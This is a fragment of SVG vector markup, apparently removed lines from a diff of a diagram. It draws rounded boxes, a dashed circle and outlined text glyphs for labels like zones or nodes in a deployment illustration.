-                <path d="M587.2461,178.08994 L587.2461,178.08994 C587.2461,169.841741 593.932562,163.155263 602.180792,163.155263 L728.122442,163.155263 C732.083379,163.155263 735.882086,164.728734 738.682867,167.529531 C741.483648,170.330327 743.057135,174.129018 743.057135,178.089941 L743.057135,237.826881 C743.057135,246.07508 736.370611,252.761558 728.122443,252.761558 L602.180793,252.761558 C593.932563,252.761558 587.246101,246.07508 587.246101,237.826881 L587.2461,178.08994 Z" id="Path" stroke="#00BFB3" stroke-width="2" stroke-linejoin="round"></path>
-                <path d="M657.6743,194.44948 L657.6743,193.027605 C656.9243,194.121355 655.903467,194.66823 654.6118,194.66823 C654.038883,194.66823 653.502425,194.558855 653.002425,194.340105 C652.512842,194.121355 652.148258,193.845313 651.908675,193.51198 C651.669092,193.178647 651.502425,192.772397 651.408675,192.29323 C651.335758,191.98073 651.2993,191.470313 651.2993,190.76198 L651.2993,184.777605 L652.939925,184.777605 L652.939925,190.13698 C652.939925,190.991147 652.976383,191.569272 653.0493,191.871355 C653.153467,192.298438 653.372217,192.63698 653.70555,192.88698 C654.038883,193.13698 654.450342,193.26198 654.939925,193.26198 C655.429508,193.26198 655.887842,193.13698 656.314925,192.88698 C656.752425,192.626563 657.059717,192.282813 657.2368,191.85573 C657.413883,191.41823 657.502425,190.788022 657.502425,189.965105 L657.502425,184.777605 L659.14305,184.777605 L659.14305,194.44948 L657.6743,194.44948 Z M661.065657,191.558855 L662.690657,191.308855 C662.773991,191.954688 663.023991,192.454688 663.440657,192.808855 C663.857324,193.152605 664.440657,193.32448 665.190657,193.32448 C665.940657,193.32448 666.497949,193.173438 666.862532,192.871355 C667.227116,192.558855 667.409407,192.194272 667.409407,191.777605 C667.409407,191.413022 667.247949,191.121355 666.925032,190.902605 C666.706282,190.756772 666.148991,190.57448 665.253157,190.35573 C664.044824,190.04323 663.206282,189.777605 662.737532,189.558855 C662.279199,189.340105 661.930241,189.038022 661.690657,188.652605 C661.451074,188.256772 661.331282,187.819272 661.331282,187.340105 C661.331282,186.913022 661.430241,186.517188 661.628157,186.152605 C661.826074,185.777605 662.096907,185.470313 662.440657,185.23073 C662.690657,185.04323 663.034407,184.88698 663.471907,184.76198 C663.919824,184.626563 664.393782,184.558855 664.893782,184.558855 C665.654199,184.558855 666.320866,184.66823 666.893782,184.88698 C667.466699,185.10573 667.888574,185.402605 668.159407,185.777605 C668.440657,186.152605 668.633366,186.652605 668.737532,187.277605 L667.128157,187.496355 C667.055241,186.996355 666.841699,186.60573 666.487532,186.32448 C666.143782,186.04323 665.654199,185.902605 665.018782,185.902605 C664.258366,185.902605 663.716699,186.027605 663.393782,186.277605 C663.081282,186.527605 662.925032,186.819272 662.925032,187.152605 C662.925032,187.360938 662.987532,187.553647 663.112532,187.73073 C663.247949,187.907813 663.461491,188.053647 663.753157,188.16823 C663.909407,188.23073 664.388574,188.371355 665.190657,188.590105 C666.357324,188.892188 667.169824,189.142188 667.628157,189.340105 C668.086491,189.538022 668.445866,189.82448 668.706282,190.19948 C668.966699,190.57448 669.096907,191.04323 669.096907,191.60573 C669.096907,192.157813 668.935449,192.673438 668.612532,193.152605 C668.300032,193.631772 667.841699,194.006772 667.237532,194.277605 C666.633366,194.538022 665.951074,194.66823 665.190657,194.66823 C663.940657,194.66823 662.982324,194.407813 662.315657,193.88698 C661.659407,193.366147 661.242741,192.590105 661.065657,191.558855 Z M676.768782,194.44948 L675.128157,194.44948 L675.128157,183.996355 C674.732324,184.371355 674.211491,184.751563 673.565657,185.13698 C672.930241,185.51198 672.357324,185.79323 671.846907,185.98073 L671.846907,184.38698 C672.763574,183.959897 673.565657,183.439063 674.253157,182.82448 C674.940657,182.209897 675.425032,181.616147 675.706282,181.04323 L676.768782,181.04323 L676.768782,194.44948 Z" id="Shape" fill="#3EBEB0" fill-rule="nonzero"></path>
-                <path d="M669.40405,213.79884 L669.40405,213.79884 C669.40405,209.992215 672.489927,206.906323 676.296567,206.906323 L726.007567,206.906323 C727.835631,206.906323 729.588744,207.632489 730.881346,208.925091 C732.173949,210.217694 732.900145,211.970837 732.900145,213.79884 L732.900145,241.368115 C732.900145,245.174756 729.814208,248.260648 726.007567,248.260648 L676.296567,248.260648 C672.489927,248.260648 669.40405,245.174756 669.40405,241.368115 L669.40405,213.79884 Z" id="Path" fill="#FEC514"></path>
-                <path d="M683.0935,227.13098 L683.0935,215.646605 L684.37475,215.646605 L684.37475,216.72473 C684.676833,216.297647 685.015375,215.979938 685.390375,215.771605 C685.775792,215.563272 686.239333,215.459105 686.781,215.459105 C687.489333,215.459105 688.114333,215.641397 688.656,216.00598 C689.197667,216.370563 689.603917,216.886188 689.87475,217.552855 C690.156,218.209105 690.296625,218.933063 690.296625,219.72473 C690.296625,220.578897 690.140375,221.344522 689.827875,222.021605 C689.525792,222.698688 689.083083,223.219522 688.49975,223.584105 C687.926833,223.948688 687.317458,224.13098 686.671625,224.13098 C686.202875,224.13098 685.781,224.032022 685.406,223.834105 C685.041417,223.636188 684.739333,223.386188 684.49975,223.084105 L684.49975,227.13098 L683.0935,227.13098 Z M684.359125,219.834105 C684.359125,220.907022 684.572667,221.698688 684.99975,222.209105 C685.43725,222.719522 685.963292,222.97473 686.577875,222.97473 C687.202875,222.97473 687.739333,222.709105 688.18725,222.177855 C688.635167,221.646605 688.859125,220.828897 688.859125,219.72473 C688.859125,218.66223 688.640375,217.870563 688.202875,217.34973 C687.765375,216.81848 687.244542,216.552855 686.640375,216.552855 C686.046625,216.552855 685.515375,216.834105 685.046625,217.396605 C684.588292,217.959105 684.359125,218.771605 684.359125,219.834105 Z M691.460687,219.78723 C691.460687,218.25598 691.887771,217.120563 692.741937,216.38098 C693.460687,215.766397 694.330479,215.459105 695.351312,215.459105 C696.497146,215.459105 697.429437,215.834105 698.148187,216.584105 C698.877354,217.323688 699.241937,218.354938 699.241937,219.677855 C699.241937,220.740355 699.080479,221.578897 698.757562,222.19348 C698.434646,222.808063 697.965896,223.28723 697.351312,223.63098 C696.747146,223.964313 696.080479,224.13098 695.351312,224.13098 C694.195062,224.13098 693.257562,223.761188 692.538812,223.021605 C691.820062,222.271605 691.460687,221.19348 691.460687,219.78723 Z M692.913812,219.78723 C692.913812,220.84973 693.142979,221.646605 693.601312,222.177855 C694.070062,222.709105 694.653396,222.97473 695.351312,222.97473 C696.049229,222.97473 696.627354,222.709105 697.085687,222.177855 C697.554437,221.646605 697.788812,220.834105 697.788812,219.740355 C697.788812,218.719522 697.554437,217.94348 697.085687,217.41223 C696.627354,216.88098 696.049229,216.615355 695.351312,216.615355 C694.653396,216.615355 694.070062,216.88098 693.601312,217.41223 C693.142979,217.933063 692.913812,218.72473 692.913812,219.78723 Z M700.327875,221.459105 L701.7185,221.240355 C701.791417,221.802855 702.004958,222.235147 702.359125,222.53723 C702.723708,222.828897 703.223708,222.97473 703.859125,222.97473 C704.504958,222.97473 704.984125,222.844522 705.296625,222.584105 C705.609125,222.313272 705.765375,222.000772 705.765375,221.646605 C705.765375,221.334105 705.629958,221.084105 705.359125,220.896605 C705.161208,220.771605 704.682042,220.615355 703.921625,220.427855 C702.890375,220.167438 702.171625,219.94348 701.765375,219.75598 C701.369542,219.558063 701.067458,219.292438 700.859125,218.959105 C700.661208,218.625772 700.56225,218.25598 700.56225,217.84973 C700.56225,217.47473 700.645583,217.13098 700.81225,216.81848 C700.978917,216.50598 701.208083,216.245563 701.49975,216.03723 C701.7185,215.870563 702.015375,215.735147 702.390375,215.63098 C702.775792,215.516397 703.182042,215.459105 703.609125,215.459105 C704.265375,215.459105 704.838292,215.552855 705.327875,215.740355 C705.817458,215.927855 706.176833,216.183063 706.406,216.50598 C706.645583,216.81848 706.81225,217.245563 706.906,217.78723 L705.531,217.97473 C705.4685,217.547647 705.286208,217.214313 704.984125,216.97473 C704.682042,216.735147 704.260167,216.615355 703.7185,216.615355 C703.072667,216.615355 702.609125,216.72473 702.327875,216.94348 C702.057042,217.151813 701.921625,217.396605 701.921625,217.677855 C701.921625,217.865355 701.978917,218.032022 702.0935,218.177855 C702.208083,218.323688 702.385167,218.448688 702.62475,218.552855 C702.770583,218.604938 703.18725,218.72473 703.87475,218.91223 C704.864333,219.172647 705.557042,219.391397 705.952875,219.56848 C706.348708,219.735147 706.656,219.979938 706.87475,220.302855 C707.103917,220.625772 707.2185,221.026813 707.2185,221.50598 C707.2185,221.97473 707.077875,222.417438 706.796625,222.834105 C706.525792,223.240355 706.129958,223.558063 705.609125,223.78723 C705.098708,224.016397 704.520583,224.13098 703.87475,224.13098 C702.791417,224.13098 701.9685,223.907022 701.406,223.459105 C700.8435,223.011188 700.484125,222.344522 700.327875,221.459105 Z M711.952875,222.677855 L712.156,223.927855 C711.760167,224.011188 711.406,224.052855 711.0935,224.052855 C710.583083,224.052855 710.18725,223.97473 709.906,223.81848 C709.62475,223.651813 709.426833,223.438272 709.31225,223.177855 C709.197667,222.907022 709.140375,222.34973 709.140375,221.50598 L709.140375,216.740355 L708.109125,216.740355 L708.109125,215.646605 L709.140375,215.646605 L709.140375,213.584105 L710.546625,212.740355 L710.546625,215.646605 L711.952875,215.646605 L711.952875,216.740355 L710.546625,216.740355 L710.546625,221.584105 C710.546625,221.990355 710.567458,222.250772 710.609125,222.365355 C710.661208,222.479938 710.744542,222.573688 710.859125,222.646605 C710.973708,222.709105 711.135167,222.740355 711.3435,222.740355 C711.49975,222.740355 711.702875,222.719522 711.952875,222.677855 Z M712.773187,221.459105 L714.163812,221.240355 C714.236729,221.802855 714.450271,222.235147 714.804437,222.53723 C715.169021,222.828897 715.669021,222.97473 716.304437,222.97473 C716.950271,222.97473 717.429437,222.844522 717.741937,222.584105 C718.054437,222.313272 718.210687,222.000772 718.210687,221.646605 C718.210687,221.334105 718.075271,221.084105 717.804437,220.896605 C717.606521,220.771605 717.127354,220.615355 716.366937,220.427855 C715.335687,220.167438 714.616937,219.94348 714.210687,219.75598 C713.814854,219.558063 713.512771,219.292438 713.304437,218.959105 C713.106521,218.625772 713.007562,218.25598 713.007562,217.84973 C713.007562,217.47473 713.090896,217.13098 713.257562,216.81848 C713.424229,216.50598 713.653396,216.245563 713.945062,216.03723 C714.163812,215.870563 714.460687,215.735147 714.835687,215.63098 C715.221104,215.516397 715.627354,215.459105 716.054437,215.459105 C716.710687,215.459105 717.283604,215.552855 717.773187,215.740355 C718.262771,215.927855 718.622146,216.183063 718.851312,216.50598 C719.090896,216.81848 719.257562,217.245563 719.351312,217.78723 L717.976312,217.97473 C717.913812,217.547647 717.731521,217.214313 717.429437,216.97473 C717.127354,216.735147 716.705479,216.615355 716.163812,216.615355 C715.517979,216.615355 715.054437,216.72473 714.773187,216.94348 C714.502354,217.151813 714.366937,217.396605 714.366937,217.677855 C714.366937,217.865355 714.424229,218.032022 714.538812,218.177855 C714.653396,218.323688 714.830479,218.448688 715.070062,218.552855 C715.215896,218.604938 715.632562,218.72473 716.320062,218.91223 C717.309646,219.172647 718.002354,219.391397 718.398187,219.56848 C718.794021,219.735147 719.101312,219.979938 719.320062,220.302855 C719.549229,220.625772 719.663812,221.026813 719.663812,221.50598 C719.663812,221.97473 719.523187,222.417438 719.241937,222.834105 C718.971104,223.240355 718.575271,223.558063 718.054437,223.78723 C717.544021,224.016397 716.965896,224.13098 716.320062,224.13098 C715.236729,224.13098 714.413812,223.907022 713.851312,223.459105 C713.288812,223.011188 712.929437,222.344522 712.773187,221.459105 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M699.42944,241.5841 L699.42944,242.943475 L691.851315,242.943475 C691.840898,242.599725 691.89819,242.2716 692.02319,241.9591 C692.21069,241.448683 692.517982,240.943475 692.945065,240.443475 C693.372148,239.943475 693.986732,239.36535 694.788815,238.7091 C696.028398,237.688267 696.86694,236.880975 697.30444,236.287225 C697.74194,235.683058 697.96069,235.11535 697.96069,234.5841 C697.96069,234.032017 697.762773,233.563267 697.36694,233.17785 C696.971107,232.792433 696.450273,232.599725 695.80444,232.599725 C695.127357,232.599725 694.58569,232.80285 694.17944,233.2091 C693.77319,233.61535 693.570065,234.17785 693.570065,234.8966 L692.11694,234.755975 C692.221107,233.672642 692.596107,232.849725 693.24194,232.287225 C693.887773,231.724725 694.752357,231.443475 695.83569,231.443475 C696.939857,231.443475 697.809648,231.750767 698.445065,232.36535 C699.090898,232.969517 699.413815,233.719517 699.413815,234.61535 C699.413815,235.073683 699.320065,235.526808 699.132565,235.974725 C698.945065,236.412225 698.632565,236.875767 698.195065,237.36535 C697.757565,237.854933 697.033607,238.526808 696.02319,239.380975 C695.17944,240.089308 694.637773,240.573683 694.39819,240.8341 C694.158607,241.0841 693.96069,241.3341 693.80444,241.5841 L699.42944,241.5841 Z M701.499752,242.943475 L701.499752,231.49035 L705.827877,231.49035 C706.588294,231.49035 707.166419,231.526808 707.562252,231.599725 C708.124752,231.693475 708.593502,231.870558 708.968502,232.130975 C709.353919,232.391392 709.661211,232.761183 709.890377,233.24035 C710.129961,233.7091 710.249752,234.229933 710.249752,234.80285 C710.249752,235.7716 709.937252,236.594517 709.312252,237.2716 C708.697669,237.948683 707.577877,238.287225 705.952877,238.287225 L703.015377,238.287225 L703.015377,242.943475 L701.499752,242.943475 Z M703.015377,236.92785 L705.984127,236.92785 C706.963294,236.92785 707.656002,236.745558 708.062252,236.380975 C708.478919,236.016392 708.687252,235.505975 708.687252,234.849725 C708.687252,234.370558 708.562252,233.9591 708.312252,233.61535 C708.072669,233.2716 707.754961,233.047642 707.359127,232.943475 C707.109127,232.870558 706.640377,232.8341 705.952877,232.8341 L703.015377,232.8341 L703.015377,236.92785 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M597.40405,213.79884 L597.40405,213.79884 C597.40405,209.992215 600.489927,206.906323 604.296567,206.906323 L654.007567,206.906323 C655.835631,206.906323 657.588744,207.632489 658.881346,208.925091 C660.173949,210.217694 660.900145,211.970837 660.900145,213.79884 L660.900145,241.368115 C660.900145,245.174756 657.814208,248.260648 654.007567,248.260648 L604.296567,248.260648 C600.489927,248.260648 597.40405,245.174756 597.40405,241.368115 L597.40405,213.79884 Z" id="Path" fill="#FEC514"></path>
-                <path d="M611.0935,227.13098 L611.0935,215.646605 L612.37475,215.646605 L612.37475,216.72473 C612.676833,216.297647 613.015375,215.979938 613.390375,215.771605 C613.775792,215.563272 614.239333,215.459105 614.781,215.459105 C615.489333,215.459105 616.114333,215.641397 616.656,216.00598 C617.197667,216.370563 617.603917,216.886188 617.87475,217.552855 C618.156,218.209105 618.296625,218.933063 618.296625,219.72473 C618.296625,220.578897 618.140375,221.344522 617.827875,222.021605 C617.525792,222.698688 617.083083,223.219522 616.49975,223.584105 C615.926833,223.948688 615.317458,224.13098 614.671625,224.13098 C614.202875,224.13098 613.781,224.032022 613.406,223.834105 C613.041417,223.636188 612.739333,223.386188 612.49975,223.084105 L612.49975,227.13098 L611.0935,227.13098 Z M612.359125,219.834105 C612.359125,220.907022 612.572667,221.698688 612.99975,222.209105 C613.43725,222.719522 613.963292,222.97473 614.577875,222.97473 C615.202875,222.97473 615.739333,222.709105 616.18725,222.177855 C616.635167,221.646605 616.859125,220.828897 616.859125,219.72473 C616.859125,218.66223 616.640375,217.870563 616.202875,217.34973 C615.765375,216.81848 615.244542,216.552855 614.640375,216.552855 C614.046625,216.552855 613.515375,216.834105 613.046625,217.396605 C612.588292,217.959105 612.359125,218.771605 612.359125,219.834105 Z M619.460687,219.78723 C619.460687,218.25598 619.887771,217.120563 620.741937,216.38098 C621.460687,215.766397 622.330479,215.459105 623.351312,215.459105 C624.497146,215.459105 625.429437,215.834105 626.148187,216.584105 C626.877354,217.323688 627.241937,218.354938 627.241937,219.677855 C627.241937,220.740355 627.080479,221.578897 626.757562,222.19348 C626.434646,222.808063 625.965896,223.28723 625.351312,223.63098 C624.747146,223.964313 624.080479,224.13098 623.351312,224.13098 C622.195062,224.13098 621.257562,223.761188 620.538812,223.021605 C619.820062,222.271605 619.460687,221.19348 619.460687,219.78723 Z M620.913812,219.78723 C620.913812,220.84973 621.142979,221.646605 621.601312,222.177855 C622.070062,222.709105 622.653396,222.97473 623.351312,222.97473 C624.049229,222.97473 624.627354,222.709105 625.085687,222.177855 C625.554437,221.646605 625.788812,220.834105 625.788812,219.740355 C625.788812,218.719522 625.554437,217.94348 625.085687,217.41223 C624.627354,216.88098 624.049229,216.615355 623.351312,216.615355 C622.653396,216.615355 622.070062,216.88098 621.601312,217.41223 C621.142979,217.933063 620.913812,218.72473 620.913812,219.78723 Z M628.327875,221.459105 L629.7185,221.240355 C629.791417,221.802855 630.004958,222.235147 630.359125,222.53723 C630.723708,222.828897 631.223708,222.97473 631.859125,222.97473 C632.504958,222.97473 632.984125,222.844522 633.296625,222.584105 C633.609125,222.313272 633.765375,222.000772 633.765375,221.646605 C633.765375,221.334105 633.629958,221.084105 633.359125,220.896605 C633.161208,220.771605 632.682042,220.615355 631.921625,220.427855 C630.890375,220.167438 630.171625,219.94348 629.765375,219.75598 C629.369542,219.558063 629.067458,219.292438 628.859125,218.959105 C628.661208,218.625772 628.56225,218.25598 628.56225,217.84973 C628.56225,217.47473 628.645583,217.13098 628.81225,216.81848 C628.978917,216.50598 629.208083,216.245563 629.49975,216.03723 C629.7185,215.870563 630.015375,215.735147 630.390375,215.63098 C630.775792,215.516397 631.182042,215.459105 631.609125,215.459105 C632.265375,215.459105 632.838292,215.552855 633.327875,215.740355 C633.817458,215.927855 634.176833,216.183063 634.406,216.50598 C634.645583,216.81848 634.81225,217.245563 634.906,217.78723 L633.531,217.97473 C633.4685,217.547647 633.286208,217.214313 632.984125,216.97473 C632.682042,216.735147 632.260167,216.615355 631.7185,216.615355 C631.072667,216.615355 630.609125,216.72473 630.327875,216.94348 C630.057042,217.151813 629.921625,217.396605 629.921625,217.677855 C629.921625,217.865355 629.978917,218.032022 630.0935,218.177855 C630.208083,218.323688 630.385167,218.448688 630.62475,218.552855 C630.770583,218.604938 631.18725,218.72473 631.87475,218.91223 C632.864333,219.172647 633.557042,219.391397 633.952875,219.56848 C634.348708,219.735147 634.656,219.979938 634.87475,220.302855 C635.103917,220.625772 635.2185,221.026813 635.2185,221.50598 C635.2185,221.97473 635.077875,222.417438 634.796625,222.834105 C634.525792,223.240355 634.129958,223.558063 633.609125,223.78723 C633.098708,224.016397 632.520583,224.13098 631.87475,224.13098 C630.791417,224.13098 629.9685,223.907022 629.406,223.459105 C628.8435,223.011188 628.484125,222.344522 628.327875,221.459105 Z M639.952875,222.677855 L640.156,223.927855 C639.760167,224.011188 639.406,224.052855 639.0935,224.052855 C638.583083,224.052855 638.18725,223.97473 637.906,223.81848 C637.62475,223.651813 637.426833,223.438272 637.31225,223.177855 C637.197667,222.907022 637.140375,222.34973 637.140375,221.50598 L637.140375,216.740355 L636.109125,216.740355 L636.109125,215.646605 L637.140375,215.646605 L637.140375,213.584105 L638.546625,212.740355 L638.546625,215.646605 L639.952875,215.646605 L639.952875,216.740355 L638.546625,216.740355 L638.546625,221.584105 C638.546625,221.990355 638.567458,222.250772 638.609125,222.365355 C638.661208,222.479938 638.744542,222.573688 638.859125,222.646605 C638.973708,222.709105 639.135167,222.740355 639.3435,222.740355 C639.49975,222.740355 639.702875,222.719522 639.952875,222.677855 Z M640.773187,221.459105 L642.163812,221.240355 C642.236729,221.802855 642.450271,222.235147 642.804437,222.53723 C643.169021,222.828897 643.669021,222.97473 644.304437,222.97473 C644.950271,222.97473 645.429437,222.844522 645.741937,222.584105 C646.054437,222.313272 646.210687,222.000772 646.210687,221.646605 C646.210687,221.334105 646.075271,221.084105 645.804437,220.896605 C645.606521,220.771605 645.127354,220.615355 644.366937,220.427855 C643.335687,220.167438 642.616937,219.94348 642.210687,219.75598 C641.814854,219.558063 641.512771,219.292438 641.304437,218.959105 C641.106521,218.625772 641.007562,218.25598 641.007562,217.84973 C641.007562,217.47473 641.090896,217.13098 641.257562,216.81848 C641.424229,216.50598 641.653396,216.245563 641.945062,216.03723 C642.163812,215.870563 642.460687,215.735147 642.835687,215.63098 C643.221104,215.516397 643.627354,215.459105 644.054437,215.459105 C644.710687,215.459105 645.283604,215.552855 645.773187,215.740355 C646.262771,215.927855 646.622146,216.183063 646.851312,216.50598 C647.090896,216.81848 647.257562,217.245563 647.351312,217.78723 L645.976312,217.97473 C645.913812,217.547647 645.731521,217.214313 645.429437,216.97473 C645.127354,216.735147 644.705479,216.615355 644.163812,216.615355 C643.517979,216.615355 643.054437,216.72473 642.773187,216.94348 C642.502354,217.151813 642.366937,217.396605 642.366937,217.677855 C642.366937,217.865355 642.424229,218.032022 642.538812,218.177855 C642.653396,218.323688 642.830479,218.448688 643.070062,218.552855 C643.215896,218.604938 643.632562,218.72473 644.320062,218.91223 C645.309646,219.172647 646.002354,219.391397 646.398187,219.56848 C646.794021,219.735147 647.101312,219.979938 647.320062,220.302855 C647.549229,220.625772 647.663812,221.026813 647.663812,221.50598 C647.663812,221.97473 647.523187,222.417438 647.241937,222.834105 C646.971104,223.240355 646.575271,223.558063 646.054437,223.78723 C645.544021,224.016397 644.965896,224.13098 644.320062,224.13098 C643.236729,224.13098 642.413812,223.907022 641.851312,223.459105 C641.288812,223.011188 640.929437,222.344522 640.773187,221.459105 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M625.3357,242.94348 L623.92945,242.94348 L623.92945,233.97473 C623.5857,234.297647 623.137783,234.620563 622.5857,234.94348 C622.044033,235.266397 621.55445,235.511188 621.11695,235.677855 L621.11695,234.31848 C621.8982,233.94348 622.580492,233.495563 623.163825,232.97473 C623.757575,232.44348 624.17945,231.933063 624.42945,231.44348 L625.3357,231.44348 L625.3357,242.94348 Z M629.499762,242.94348 L629.499762,231.490355 L633.827887,231.490355 C634.588304,231.490355 635.166429,231.526813 635.562262,231.59973 C636.124762,231.69348 636.593512,231.870563 636.968512,232.13098 C637.353929,232.391397 637.661221,232.761188 637.890387,233.240355 C638.129971,233.709105 638.249762,234.229938 638.249762,234.802855 C638.249762,235.771605 637.937262,236.594522 637.312262,237.271605 C636.697679,237.948688 635.577887,238.28723 633.952887,238.28723 L631.015387,238.28723 L631.015387,242.94348 L629.499762,242.94348 Z M631.015387,236.927855 L633.984137,236.927855 C634.963304,236.927855 635.656012,236.745563 636.062262,236.38098 C636.478929,236.016397 636.687262,235.50598 636.687262,234.84973 C636.687262,234.370563 636.562262,233.959105 636.312262,233.615355 C636.072679,233.271605 635.754971,233.047647 635.359137,232.94348 C635.109137,232.870563 634.640387,232.834105 633.952887,232.834105 L631.015387,232.834105 L631.015387,236.927855 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M524.15485,512.0395 L524.15485,512.0395 C524.15485,434.0847 588.830326,370.88987 668.61158,370.88987 L668.61158,370.88987 C706.923836,370.88987 743.667,385.760933 770.75788,412.231636 C797.848761,438.702309 813.068244,474.604256 813.068244,512.039496 L813.068244,512.039496 C813.068244,589.994266 748.392768,653.189096 668.611574,653.189096 L668.611574,653.189096 C588.830324,653.189096 524.154844,589.994272 524.154844,512.039496 L524.15485,512.0395 Z" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M524.15485,512.0395 L524.15485,512.0395 C524.15485,434.0847 588.830326,370.88987 668.61158,370.88987 L668.61158,370.88987 C706.923836,370.88987 743.667,385.760933 770.75788,412.231636 C797.848761,438.702309 813.068244,474.604256 813.068244,512.039496 L813.068244,512.039496 C813.068244,589.994266 748.392768,653.189096 668.611574,653.189096 L668.611574,653.189096 C588.830324,653.189096 524.154844,589.994272 524.154844,512.039496 L524.15485,512.0395 Z" id="Path" stroke="#434753" stroke-linejoin="round" stroke-dasharray="8,3"></path>
-                <path d="M590.70557,550.2439 L590.70557,550.2439 C590.70557,541.99567 597.392032,535.309208 605.640262,535.309208 L731.581912,535.309208 C735.542849,535.309208 739.341494,536.882633 742.142337,539.683476 C744.943118,542.484257 746.516605,546.282963 746.516605,550.243901 L746.516605,609.980778 C746.516605,618.229008 739.830081,624.91547 731.581913,624.91547 L605.640263,624.91547 C597.392033,624.91547 590.705571,618.229007 590.705571,609.980778 L590.70557,550.2439 Z" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M590.70557,550.2439 L590.70557,550.2439 C590.70557,541.99567 597.392032,535.309208 605.640262,535.309208 L731.581912,535.309208 C735.542849,535.309208 739.341494,536.882633 742.142337,539.683476 C744.943118,542.484257 746.516605,546.282963 746.516605,550.243901 L746.516605,609.980778 C746.516605,618.229008 739.830081,624.91547 731.581913,624.91547 L605.640263,624.91547 C597.392033,624.91547 590.705571,618.229007 590.705571,609.980778 L590.70557,550.2439 Z" id="Path" stroke="#00BFB3" stroke-width="2" stroke-linejoin="round"></path>
-                <path d="M658.01184,565.4159 C657.397257,565.926317 656.808715,566.2909 656.246215,566.50965 C655.694132,566.717983 655.095173,566.82215 654.44934,566.82215 C653.38684,566.82215 652.569132,566.561733 651.996215,566.0409 C651.423298,565.520067 651.13684,564.858608 651.13684,564.056525 C651.13684,563.577358 651.246215,563.145067 651.464965,562.75965 C651.683715,562.363817 651.964965,562.051317 652.308715,561.82215 C652.662882,561.582567 653.058715,561.400275 653.496215,561.275275 C653.808715,561.191942 654.29309,561.108608 654.94934,561.025275 C656.272257,560.869025 657.246215,560.681525 657.871215,560.462775 C657.881632,560.233608 657.88684,560.092983 657.88684,560.0409 C657.88684,559.374233 657.73059,558.900275 657.41809,558.619025 C657.001423,558.254442 656.376423,558.07215 655.54309,558.07215 C654.772257,558.07215 654.204548,558.207567 653.839965,558.4784 C653.475382,558.749233 653.204548,559.223192 653.027465,559.900275 L651.41809,559.681525 C651.563923,559.004442 651.803507,558.457567 652.13684,558.0409 C652.470173,557.613817 652.954548,557.285692 653.589965,557.056525 C654.225382,556.827358 654.954548,556.712775 655.777465,556.712775 C656.610798,556.712775 657.282673,556.811733 657.79309,557.00965 C658.313923,557.19715 658.694132,557.441942 658.933715,557.744025 C659.183715,558.035692 659.35559,558.405483 659.44934,558.8534 C659.501423,559.13465 659.527465,559.639858 659.527465,560.369025 L659.527465,562.556525 C659.527465,564.077358 659.563923,565.0409 659.63684,565.44715 C659.709757,565.842983 659.845173,566.2284 660.04309,566.6034 L658.339965,566.6034 C658.162882,566.25965 658.053507,565.863817 658.01184,565.4159 Z M657.871215,561.744025 C657.277465,561.994025 656.38684,562.202358 655.19934,562.369025 C654.522257,562.462775 654.04309,562.57215 653.76184,562.69715 C653.48059,562.82215 653.26184,562.999233 653.10559,563.2284 C652.959757,563.457567 652.88684,563.717983 652.88684,564.00965 C652.88684,564.44715 653.053507,564.811733 653.38684,565.1034 C653.720173,565.395067 654.204548,565.5409 654.839965,565.5409 C655.464965,565.5409 656.022257,565.405483 656.51184,565.13465 C657.01184,564.8534 657.376423,564.473192 657.60559,563.994025 C657.782673,563.619025 657.871215,563.07215 657.871215,562.3534 L657.871215,561.744025 Z M662.075072,566.6034 L662.075072,556.931525 L663.543822,556.931525 L663.543822,558.2909 C663.845906,557.811733 664.246947,557.431525 664.746947,557.150275 C665.257364,556.858608 665.830281,556.712775 666.465697,556.712775 C667.184447,556.712775 667.772989,556.863817 668.231322,557.1659 C668.689656,557.457567 669.012572,557.869025 669.200072,558.400275 C669.970906,557.275275 670.965697,556.712775 672.184447,556.712775 C673.153197,556.712775 673.892781,556.9784 674.403197,557.50965 C674.924031,558.0409 675.184447,558.858608 675.184447,559.962775 L675.184447,566.6034 L673.543822,566.6034 L673.543822,560.50965 C673.543822,559.8534 673.491739,559.38465 673.387572,559.1034 C673.283406,558.811733 673.090697,558.577358 672.809447,558.400275 C672.528197,558.223192 672.200072,558.13465 671.825072,558.13465 C671.147989,558.13465 670.585489,558.363817 670.137572,558.82215 C669.689656,559.270067 669.465697,559.988817 669.465697,560.9784 L669.465697,566.6034 L667.825072,566.6034 L667.825072,560.32215 C667.825072,559.592983 667.689656,559.046108 667.418822,558.681525 C667.147989,558.316942 666.710489,558.13465 666.106322,558.13465 C665.647989,558.13465 665.220906,558.254442 664.825072,558.494025 C664.429239,558.733608 664.142781,559.087775 663.965697,559.556525 C663.799031,560.025275 663.715697,560.702358 663.715697,561.587775 L663.715697,566.6034 L662.075072,566.6034 Z M685.772093,565.025275 L685.772093,566.6034 L676.943968,566.6034 C676.933552,566.207567 676.996052,565.827358 677.131468,565.462775 C677.360635,564.858608 677.72001,564.264858 678.209593,563.681525 C678.709593,563.098192 679.428343,562.426317 680.365843,561.6659 C681.81376,560.4784 682.792927,559.535692 683.303343,558.837775 C683.81376,558.139858 684.068968,557.483608 684.068968,556.869025 C684.068968,556.212775 683.834593,555.6659 683.365843,555.2284 C682.90751,554.780483 682.303343,554.556525 681.553343,554.556525 C680.761677,554.556525 680.12626,554.796108 679.647093,555.275275 C679.178343,555.744025 678.943968,556.395067 678.943968,557.2284 L677.256468,557.056525 C677.371052,555.796108 677.803343,554.837775 678.553343,554.181525 C679.31376,553.525275 680.324177,553.19715 681.584593,553.19715 C682.865843,553.19715 683.881468,553.551317 684.631468,554.25965 C685.381468,554.967983 685.756468,555.848192 685.756468,556.900275 C685.756468,557.431525 685.647093,557.957567 685.428343,558.4784 C685.209593,558.999233 684.84501,559.546108 684.334593,560.119025 C683.834593,560.681525 682.990843,561.462775 681.803343,562.462775 C680.824177,563.285692 680.193968,563.848192 679.912718,564.150275 C679.631468,564.441942 679.402302,564.733608 679.225218,565.025275 L685.772093,565.025275 Z" id="Shape" fill="#3EBEB0" fill-rule="nonzero"></path>
-                <polygon id="Path" fill-opacity="0" fill="#000000" points="574.4228 379.9211 762.80073 379.9211 762.80073 420.36205 574.4228 420.36205"></polygon>
